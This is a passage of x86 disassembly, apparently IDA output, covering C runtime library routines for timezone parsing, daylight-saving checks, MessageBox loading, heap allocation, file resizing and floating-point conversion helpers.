mov edi, 220h
push ds:off_43878C
push ebx
push offset dword_469684
push edi
push ds:dword_469518
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_41E226
cmp [esp+14h+var_4], ebp
jnz short loc_41E226
mov eax, ds:off_43878C
and byte ptr [eax+3Fh], 0
jmp short loc_41E22E
; ---------------------------------------------------------------------------
loc_41E226: ; CODE XREF: sub_41E142+D1j
; sub_41E142+D7j
mov eax, ds:off_43878C
and byte ptr [eax], 0
loc_41E22E: ; CODE XREF: sub_41E142+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push ds:off_438790
push ebx
push offset dword_4696D8
push edi
push ds:dword_469518
call esi ; WideCharToMultiByte
test eax, eax
jz loc_41E392
cmp [esp+14h+var_4], ebp
jnz loc_41E392
mov eax, ds:off_438790
and byte ptr [eax+3Fh], 0
jmp loc_41E39A
; ---------------------------------------------------------------------------
loc_41E26B: ; CODE XREF: sub_41E142+2Dj
cmp byte ptr [esi], 0
jz loc_41E39A
mov eax, ds:dword_46972C
cmp eax, ebp
jz short loc_41E28E
push eax
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41E39A
loc_41E28E: ; CODE XREF: sub_41E142+139j
push ds:dword_46972C
call sub_415E1D
push esi
call sub_415CD0
inc eax
push eax
call sub_415DA9
add esp, 0Ch
cmp eax, ebp
mov ds:dword_46972C, eax
jz loc_41E39A
push esi
push eax
call sub_415BE0
push 3
push esi
push ds:off_43878C
call sub_416D20
mov eax, ds:off_43878C
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41E2E3
push 1
inc esi
pop edi
loc_41E2E3: ; CODE XREF: sub_41E142+19Bj
push esi
call sub_4159B4
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov ds:dword_438700, ecx
loc_41E2FA: ; CODE XREF: sub_41E142+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41E308
cmp al, bl
jl short loc_41E30B
cmp al, 39h
jg short loc_41E30B
loc_41E308: ; CODE XREF: sub_41E142+1BCj
inc esi
jmp short loc_41E2FA
; ---------------------------------------------------------------------------
loc_41E30B: ; CODE XREF: sub_41E142+1C0j
; sub_41E142+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41E35E
inc esi
push esi
call sub_4159B4
imul eax, 3Ch
pop ecx
mov ecx, ds:dword_438700
add ecx, eax
mov ds:dword_438700, ecx
loc_41E329: ; CODE XREF: sub_41E142+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41E336
cmp al, 39h
jg short loc_41E336
inc esi
jmp short loc_41E329
; ---------------------------------------------------------------------------
loc_41E336: ; CODE XREF: sub_41E142+1EBj
; sub_41E142+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41E35E
inc esi
push esi
call sub_4159B4
pop ecx
mov ecx, ds:dword_438700
add ecx, eax
mov ds:dword_438700, ecx
loc_41E351: ; CODE XREF: sub_41E142+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41E35E
cmp al, 39h
jg short loc_41E35E
inc esi
jmp short loc_41E351
; ---------------------------------------------------------------------------
loc_41E35E: ; CODE XREF: sub_41E142+1CCj
; sub_41E142+1F7j ...
cmp edi, ebp
jz short loc_41E36A
neg ecx
mov ds:dword_438700, ecx
loc_41E36A: ; CODE XREF: sub_41E142+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov ds:dword_438704, eax
jz short loc_41E392
push 3
push esi
push ds:off_438790
call sub_416D20
mov eax, ds:off_438790
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41E39A
; ---------------------------------------------------------------------------
loc_41E392: ; CODE XREF: sub_41E142+10Bj
; sub_41E142+115j ...
mov eax, ds:off_438790
and byte ptr [eax], 0
loc_41E39A: ; CODE XREF: sub_41E142+40j
; sub_41E142+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_41E142 endp
; =============== S U B R O U T I N E =======================================
sub_41E3A0 proc near ; CODE XREF: sub_41B7CE+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp ds:dword_438704, edi
jnz short loc_41E3B4
loc_41E3AD: ; CODE XREF: sub_41E3A0+148j
; sub_41E3A0+150j ...
xor eax, eax
jmp loc_41E500
; ---------------------------------------------------------------------------
loc_41E3B4: ; CODE XREF: sub_41E3A0+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, ds:dword_438798
jnz short loc_41E3D2
cmp eax, ds:dword_4387A8
jz loc_41E4D4
loc_41E3D2: ; CODE XREF: sub_41E3A0+24j
cmp ds:dword_469678, edi
jz loc_41E4AA
movzx ecx, ds:word_469726
push ecx
cmp ds:word_469718, di
movzx ecx, ds:word_469724
push ecx
movzx ecx, ds:word_469722
push ecx
movzx ecx, ds:word_469720
push ecx
jnz short loc_41E424
movzx ecx, ds:word_46971C
push edi
push ecx
movzx ecx, ds:word_46971E
push ecx
movzx ecx, ds:word_46971A
push ecx
push eax
push ebx
jmp short loc_41E438
; ---------------------------------------------------------------------------
loc_41E424: ; CODE XREF: sub_41E3A0+65j
movzx ecx, ds:word_46971E
push ecx
push edi
movzx ecx, ds:word_46971A
push edi
push ecx
push eax
push edi
loc_41E438: ; CODE XREF: sub_41E3A0+82j
push ebx
call sub_41E54C
movzx eax, ds:word_4696D2
add esp, 2Ch
cmp ds:word_4696C4, di
push eax
movzx eax, ds:word_4696D0
push eax
movzx eax, ds:word_4696CE
push eax
movzx eax, ds:word_4696CC
push eax
jnz short loc_41E492
movzx eax, ds:word_4696C8
push edi
push eax
movzx eax, ds:word_4696CA
push eax
movzx eax, ds:word_4696C6
push eax
push dword ptr [esi+14h]
push ebx
loc_41E487: ; CODE XREF: sub_41E3A0+108j
push edi
call sub_41E54C
add esp, 2Ch
jmp short loc_41E4D4
; ---------------------------------------------------------------------------
loc_41E492: ; CODE XREF: sub_41E3A0+C8j
movzx eax, ds:word_4696CA
push eax
push edi
movzx eax, ds:word_4696C6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41E487
; ---------------------------------------------------------------------------
loc_41E4AA: ; CODE XREF: sub_41E3A0+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41E54C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41E54C
add esp, 58h
loc_41E4D4: ; CODE XREF: sub_41E3A0+2Cj
; sub_41E3A0+F0j
mov edx, ds:dword_43879C
mov eax, ds:dword_4387AC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41E504
cmp ecx, edx
jl loc_41E3AD
cmp ecx, eax
jg loc_41E3AD
cmp ecx, edx
jle short loc_41E518
cmp ecx, eax
jge short loc_41E518
loc_41E4FE: ; CODE XREF: sub_41E3A0+166j
; sub_41E3A0+16Aj
mov eax, ebx
loc_41E500: ; CODE XREF: sub_41E3A0+Fj
; sub_41E3A0+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E504: ; CODE XREF: sub_41E3A0+144j
cmp ecx, eax
jl short loc_41E4FE
cmp ecx, edx
jg short loc_41E4FE
cmp ecx, eax
jle short loc_41E518
cmp ecx, edx
jl loc_41E3AD
loc_41E518: ; CODE XREF: sub_41E3A0+158j
; sub_41E3A0+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41E53F
xor ecx, ecx
cmp eax, ds:dword_4387A0
setnl cl
loc_41E53B: ; CODE XREF: sub_41E3A0+1AAj
mov eax, ecx
jmp short loc_41E500
; ---------------------------------------------------------------------------
loc_41E53F: ; CODE XREF: sub_41E3A0+18Ej
xor ecx, ecx
cmp eax, ds:dword_4387B0
setl cl
jmp short loc_41E53B
sub_41E3A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E54C proc near ; CODE XREF: sub_41E3A0+99p
; sub_41E3A0+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41E5E7
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41E577
shl esi, 2
mov eax, ds:dword_4387B0[esi]
jmp short loc_41E580
; ---------------------------------------------------------------------------
loc_41E577: ; CODE XREF: sub_41E54C+1Ej
shl esi, 2
mov eax, ds:dword_4387E4[esi]
loc_41E580: ; CODE XREF: sub_41E54C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_41E5BA
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41E5C4
; ---------------------------------------------------------------------------
loc_41E5BA: ; CODE XREF: sub_41E54C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41E5C4: ; CODE XREF: sub_41E54C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41E602
cmp [ebp+arg_8], 0
jnz short loc_41E5D8
mov esi, ds:dword_4387B4[esi]
jmp short loc_41E5DE
; ---------------------------------------------------------------------------
loc_41E5D8: ; CODE XREF: sub_41E54C+82j
mov esi, ds:dword_4387E8[esi]
loc_41E5DE: ; CODE XREF: sub_41E54C+8Aj
cmp ecx, esi
jle short loc_41E602
sub ecx, 7
jmp short loc_41E602
; ---------------------------------------------------------------------------
loc_41E5E7: ; CODE XREF: sub_41E54C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41E5F8
mov ecx, ds:dword_4387B0[eax*4]
jmp short loc_41E5FF
; ---------------------------------------------------------------------------
loc_41E5F8: ; CODE XREF: sub_41E54C+A1j
mov ecx, ds:dword_4387E4[eax*4]
loc_41E5FF: ; CODE XREF: sub_41E54C+AAj
add ecx, [ebp+arg_18]
loc_41E602: ; CODE XREF: sub_41E54C+7Cj
; sub_41E54C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41E633
mov eax, [ebp+arg_1C]
mov ds:dword_43879C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov ds:dword_438798, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_4387A0, eax
jmp short loc_41E688
; ---------------------------------------------------------------------------
loc_41E633: ; CODE XREF: sub_41E54C+BAj
mov eax, [ebp+arg_1C]
mov ds:dword_4387AC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, ds:dword_438708
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_4387B0, eax
jns short loc_41E66B
add eax, 5265C00h
dec ecx
mov ds:dword_4387B0, eax
jmp short loc_41E67C
; ---------------------------------------------------------------------------
loc_41E66B: ; CODE XREF: sub_41E54C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41E682
sub eax, edx
inc ecx
mov ds:dword_4387B0, eax
loc_41E67C: ; CODE XREF: sub_41E54C+11Dj
mov ds:dword_4387AC, ecx
loc_41E682: ; CODE XREF: sub_41E54C+126j
mov ds:dword_4387A8, ebx
loc_41E688: ; CODE XREF: sub_41E54C+E5j
pop esi
pop ebx
pop ebp
retn
sub_41E54C endp
; =============== S U B R O U T I N E =======================================
sub_41E68C proc near ; CODE XREF: seg000:0041C7CDp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41E69D
add esp, 0Ch
retn
sub_41E68C endp
; =============== S U B R O U T I N E =======================================
sub_41E69D proc near ; CODE XREF: sub_41E68C+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test ds:byte_46A9C1[eax], cl
jnz short loc_41E6CA
cmp [esp+arg_4], 0
jz short loc_41E6C3
movzx eax, ds:word_437D5A[eax*2]
and eax, [esp+arg_4]
jmp short loc_41E6C5
; ---------------------------------------------------------------------------
loc_41E6C3: ; CODE XREF: sub_41E69D+16j
xor eax, eax
loc_41E6C5: ; CODE XREF: sub_41E69D+24j
test eax, eax
jnz short loc_41E6CA
retn
; ---------------------------------------------------------------------------
loc_41E6CA: ; CODE XREF: sub_41E69D+Fj
; sub_41E69D+2Aj
push 1
pop eax
retn
sub_41E69D endp
; =============== S U B R O U T I N E =======================================
sub_41E6CE proc near ; CODE XREF: sub_41CEF9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp ds:dword_469734, ebx
push esi
push edi
jnz short loc_41E71D
push offset aUser32_dll ; "user32.dll"
call ds:dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_41E753
mov esi, ds:dword_4210C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov ds:dword_469734, eax
jz short loc_41E753
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov ds:dword_469738, eax
call esi
mov ds:dword_46973C, eax
loc_41E71D: ; CODE XREF: sub_41E6CE+Bj
mov eax, ds:dword_469738
test eax, eax
jz short loc_41E73C
call eax
mov ebx, eax
test ebx, ebx
jz short loc_41E73C
mov eax, ds:dword_46973C
test eax, eax
jz short loc_41E73C
push ebx
call eax
mov ebx, eax
loc_41E73C: ; CODE XREF: sub_41E6CE+56j
; sub_41E6CE+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call ds:dword_469734
loc_41E74F: ; CODE XREF: sub_41E6CE+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E753: ; CODE XREF: sub_41E6CE+1Cj
; sub_41E6CE+33j
xor eax, eax
jmp short loc_41E74F
sub_41E6CE endp
; =============== S U B R O U T I N E =======================================
sub_41E757 proc near ; CODE XREF: sub_41D0B6+22p
; sub_41D0B6+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_41E777
test esi, esi
jnz short loc_41E771
push 1
pop esi
loc_41E771: ; CODE XREF: sub_41E757+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41E777: ; CODE XREF: sub_41E757+11j
; sub_41E757+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41E7A8
cmp ebx, ds:dword_437F6C
ja short loc_41E793
push ebx
call sub_418E33
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41E7BE
loc_41E793: ; CODE XREF: sub_41E757+2Dj
push esi
push 8
push ds:dword_46AAE0
call ds:dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_41E7CA
loc_41E7A8: ; CODE XREF: sub_41E757+25j
cmp ds:dword_4694D4, 0
jz short loc_41E7CA
push esi
call sub_418A48
test eax, eax
pop ecx
jz short loc_41E7D0
jmp short loc_41E777
; ---------------------------------------------------------------------------
loc_41E7BE: ; CODE XREF: sub_41E757+3Aj
push ebx
push 0
push edi
call sub_415550
add esp, 0Ch
loc_41E7CA: ; CODE XREF: sub_41E757+4Fj
; sub_41E757+58j
mov eax, edi
loc_41E7CC: ; CODE XREF: sub_41E757+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E7D0: ; CODE XREF: sub_41E757+63j
xor eax, eax
jmp short loc_41E7CC
sub_41E757 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D15B
loc_41E7D4: ; CODE XREF: sub_41D15B+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp ds:dword_46A780, esi
jle short loc_41E827
loc_41E7E3: ; CODE XREF: sub_41D15B+16CAj
mov eax, ds:dword_469760
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E81E
test byte ptr [eax+0Ch], 83h
jz short loc_41E802
push eax
call sub_415B20
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E802
inc edi
loc_41E802: ; CODE XREF: sub_41D15B+1698j
; sub_41D15B+16A4j
cmp esi, 14h
jl short loc_41E81E
mov eax, ds:dword_469760
push dword ptr [eax+esi*4]
call sub_415E1D
mov eax, ds:dword_469760
pop ecx
and dword ptr [eax+esi*4], 0
loc_41E81E: ; CODE XREF: sub_41D15B+1692j
; sub_41D15B+16AAj
inc esi
cmp esi, ds:dword_46A780
jl short loc_41E7E3
loc_41E827: ; CODE XREF: sub_41D15B+1686j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41D15B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E82C proc near ; CODE XREF: sub_41D53A+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_415D50
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, ds:dword_46A8A0
jnb loc_41E961
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_46A7A0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41E961
push 1
push esi
push ebx
call sub_41BB5F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41E96B
push 2
push esi
push ebx
call sub_41BB5F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41E96B
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41E90E
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_415550
push 8000h
push ebx
call sub_41F466
add esp, 14h
mov [ebp+arg_4], eax
loc_41E8C2: ; CODE XREF: sub_41E82C+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41E8CD
mov eax, edi
loc_41E8CD: ; CODE XREF: sub_41E82C+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41C40A
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41E8EB
sub edi, eax
test edi, edi
jle short loc_41E901
jmp short loc_41E8C2
; ---------------------------------------------------------------------------
loc_41E8EB: ; CODE XREF: sub_41E82C+B5j
cmp ds:dword_469478, 5
jnz short loc_41E8FE
mov ds:dword_469474, 0Dh
loc_41E8FE: ; CODE XREF: sub_41E82C+C6j
or esi, 0FFFFFFFFh
loc_41E901: ; CODE XREF: sub_41E82C+BBj
push [ebp+arg_4]
push ebx
call sub_41F466
pop ecx
pop ecx
jmp short loc_41E94E
; ---------------------------------------------------------------------------
loc_41E90E: ; CODE XREF: sub_41E82C+71j
jge short loc_41E94E
push 0
push [ebp+arg_4]
push ebx
call sub_41BB5F
push ebx
call sub_41D4A6
add esp, 10h
push eax
call near ptr 3D0000h
clc
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41E94E
mov ds:dword_469474, 0Dh
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_469478, eax
loc_41E94E: ; CODE XREF: sub_41E82C+E0j
; sub_41E82C:loc_41E90Ej ...
push 0
push [ebp+arg_0]
push ebx
call sub_41BB5F
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41E96E
; ---------------------------------------------------------------------------
loc_41E961: ; CODE XREF: sub_41E82C+1Aj
; sub_41E82C+36j
mov ds:dword_469474, 9
loc_41E96B: ; CODE XREF: sub_41E82C+4Ej
; sub_41E82C+63j
or eax, 0FFFFFFFFh
loc_41E96E: ; CODE XREF: sub_41E82C+133j
pop esi
pop ebx
leave
retn
sub_41E82C endp
; =============== S U B R O U T I N E =======================================
sub_41E972 proc near ; CODE XREF: sub_41D9A5+2Bp
; sub_41D9A5+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41E988
cmp ecx, esi
jnb short loc_41E98B
loc_41E988: ; CODE XREF: sub_41E972+10j
push 1
pop eax
loc_41E98B: ; CODE XREF: sub_41E972+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41E972 endp
; =============== S U B R O U T I N E =======================================
sub_41E993 proc near ; CODE XREF: sub_41EA4C+40p
; sub_41EA4C+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41E972
add esp, 0Ch
test eax, eax
jz short loc_41E9C5
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41E972
add esp, 0Ch
test eax, eax
jz short loc_41E9C5
inc dword ptr [esi+8]
loc_41E9C5: ; CODE XREF: sub_41E993+19j
; sub_41E993+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41E972
add esp, 0Ch
test eax, eax
jz short loc_41E9DD
inc dword ptr [esi+8]
loc_41E9DD: ; CODE XREF: sub_41E993+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41E972
add esp, 0Ch
pop edi
pop esi
retn
sub_41E993 endp
; =============== S U B R O U T I N E =======================================
sub_41E9F1 proc near ; CODE XREF: sub_41EA4C+30p
; sub_41EA4C+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41E9F1 endp
; =============== S U B R O U T I N E =======================================
sub_41EA1F proc near ; CODE XREF: sub_41EFE4+1C8p
; sub_41F4DC+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41EA1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA4C proc near ; CODE XREF: sub_41EB13+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41EAC0
push edi
mov [ebp+arg_8], eax
loc_41EA73: ; CODE XREF: sub_41EA4C+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41E9F1
push ebx
call sub_41E9F1
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41E993
push ebx
call sub_41E9F1
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41E993
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41EA73
xor edx, edx
pop edi
loc_41EAC0: ; CODE XREF: sub_41EA4C+21j
; sub_41EA4C+9Fj
cmp [ebx+8], edx
jnz short loc_41EAED
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41EAC0
; ---------------------------------------------------------------------------
loc_41EAED: ; CODE XREF: sub_41EA4C+77j
mov esi, 8000h
loc_41EAF2: ; CODE XREF: sub_41EA4C+B9j
test [ebx+8], esi
jnz short loc_41EB07
push ebx
call sub_41E9F1
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41EAF2
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EA4C+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41EA4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB13 proc near ; CODE XREF: sub_41DCEE+17p
; sub_41DD1B+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41EB4E: ; CODE XREF: sub_41EB13+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41EB64
cmp cl, 9
jz short loc_41EB64
cmp cl, 0Ah
jz short loc_41EB64
cmp cl, 0Dh
jnz short loc_41EB67
loc_41EB64: ; CODE XREF: sub_41EB13+40j
; sub_41EB13+45j ...
inc edi
jmp short loc_41EB4E
; ---------------------------------------------------------------------------
loc_41EB67: ; CODE XREF: sub_41EB13+4Fj
push 4
pop esi
loc_41EB6A: ; CODE XREF: sub_41EB13+AEj
; sub_41EB13+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41EDED ; default
; jumptable 0041EB76 case 10
jmp ds:off_41EFB4[eax*4] ; switch jump
loc_41EB7D: ; DATA XREF: seg000:off_41EFB4o
cmp bl, 31h ; jumptable 0041EB76 case 0
jl short loc_41EB8E
cmp bl, 39h
jg short loc_41EB8E
loc_41EB87: ; CODE XREF: sub_41EB13+C4j
; sub_41EB13+118j
push 3
jmp loc_41EDAB
; ---------------------------------------------------------------------------
loc_41EB8E: ; CODE XREF: sub_41EB13+6Dj
; sub_41EB13+72j
cmp bl, ds:byte_437F60
jnz short loc_41EB9D
loc_41EB96: ; CODE XREF: sub_41EB13+124j
push 5
jmp loc_41EDE3
; ---------------------------------------------------------------------------
loc_41EB9D: ; CODE XREF: sub_41EB13+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41EBC3
dec eax
dec eax
jz short loc_41EBB7
sub eax, 3
jnz loc_41EE86
jmp loc_41EC46
; ---------------------------------------------------------------------------
loc_41EBB7: ; CODE XREF: sub_41EB13+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41EB6A
; ---------------------------------------------------------------------------
loc_41EBC3: ; CODE XREF: sub_41EB13+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41EB6A
; ---------------------------------------------------------------------------
loc_41EBCC: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
cmp bl, 31h ; jumptable 0041EB76 case 1
mov [ebp+var_10], edx
jl short loc_41EBD9
cmp bl, 39h
jle short loc_41EB87
loc_41EBD9: ; CODE XREF: sub_41EB13+BFj
cmp bl, ds:byte_437F60
jz loc_41ECA1
cmp bl, 2Bh
jz short loc_41EC1B
cmp bl, 2Dh
jz short loc_41EC1B
cmp bl, 30h
jz short loc_41EC46
loc_41EBF4: ; CODE XREF: sub_41EB13+207j
cmp bl, 43h
jle loc_41EE86
cmp bl, 45h
jle short loc_41EC14
cmp bl, 63h
jle loc_41EE86
cmp bl, 65h
jg loc_41EE86
loc_41EC14: ; CODE XREF: sub_41EB13+EDj
push 6
jmp loc_41EDE3
; ---------------------------------------------------------------------------
loc_41EC1B: ; CODE XREF: sub_41EB13+D5j
